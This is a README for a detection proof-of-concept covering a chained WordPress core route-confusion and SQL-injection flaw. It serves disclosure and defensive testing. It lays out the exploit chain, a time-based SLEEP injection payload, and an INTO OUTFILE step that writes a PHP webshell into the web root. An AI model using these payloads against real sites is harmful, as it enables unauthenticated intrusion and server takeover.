
Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.
Pre-authentication, unauthenticated, no plugins required. Works against a stock WordPress install via the REST API batch endpoint.
| CVE | CVE-2026-63030 (route confusion → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Discoverer | Adam Kues — Assetnote / Searchlight Cyber (dubbed "wp2shell") |
| Affected | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (full RCE chain) · 6.8.0 – 6.8.5 (SQLi only) |
| Patched | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Critical (RCE chain) / Moderate (SQLi standalone) |
| Researcher blog | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Two bugs in WordPress core, chainable into unauthenticated remote code execution:
WP_Query when author__not_in is a string
rather than an array — the is_array() sanitisation guard is skipped
and the raw value is interpolated into a NOT IN (...) clause.WP_REST_Server::serve_batch_request_v1()
— WP_Error sub-requests are pushed into $validation[] but not
$matches[], causing a +1 index shift. Sub-request i ends up being
dispatched with sub-request i+1's handler.Neither bug alone is enough: the REST API sanitises author_exclude
(type: array, items: integer) before it reaches WP_Query, and the
batch endpoint rejects GET sub-requests (enum: POST, PUT, PATCH, DELETE). Chaining them through a double confusion bypasses both
defences and reaches the SQLi unauthenticated.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnerable (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
When author__not_in is a string the is_array() branch is skipped;
(array) "payload" evaluates to ["payload"]; implode(',', ...)
returns the raw string, which is interpolated straight into the SQL.
Fix (6.9.5): use wp_parse_id_list() which accepts any input shape
and returns a sanitised integer list.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
A single WP_Error sub-request (e.g. malformed path) at position 0
shifts every subsequent entry by one. Request i is then dispatched
with request i+1's handler.
Fix (6.9.5): append $matches[] = $single_request; for the error
case as well. Additional hardening short-circuits rest_api_loaded() /
serve_request() while a dispatch is already in flight.
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
The resulting SQL fragment is:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) fires once per matching post row, so the total delay is
roughly N × <number_of_published_posts> seconds.
The SELECT-only injection (no stacked queries, $wpdb uses
mysqli_query) still yields RCE on typical LAMP stacks when the MySQL
user has FILE privilege — which is the default on many shared hosters
and self-managed servers:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
writes a PHP webshell into the web root, reachable at /x.php.
Alternative paths (no FILE privilege needed) include reading the
admin password hash via UNION/boolean blind SQLi and uploading a
malicious plugin through the authenticated admin UI.
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
The PoC performs two non-destructive tests:
| Test | Method | Safe? |
|---|---|---|
| Route confusion (CVE-2026-63030) |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
Example output against a vulnerable 6.9.4 instance:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
No delay / no structural confusion ⇒ patched (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)The easiest way to reproduce is with the official Docker images (the auto-updater will have patched most live instances within hours of disclosure):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
For the INTO OUTFILE → RCE step, grant FILE privilege and ensure the
DB process can write to the web root (single-server LAMP, or a shared
volume in Docker):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), so most live sites are already patched.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE privilege from the WordPress DB user:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv is set (not empty):
secure_file_priv = /var/lib/mysql-files
| Date | Event |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 released |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf published |
| 2026-07-17 | Assetnote / Searchlight Cyber publishes "wp2shell" advisory + https://wp2shell.com checker |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpThis repository contains only a detection PoC — it uses time-based blind SQLi and structural response inspection. It does not extract data, write files, or attempt RCE. The vulnerability was already patched and publicly disclosed by WordPress and the original researcher before this code was published.
Use only against systems you own or are authorised to test.
MIT — see LICENSE.
| Structural — verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fields |
| Yes |
| SQLi (CVE-2026-60137) | Time-based blind — injects SLEEP(N) via author_exclude and measures latency vs. a benign baseline | Yes |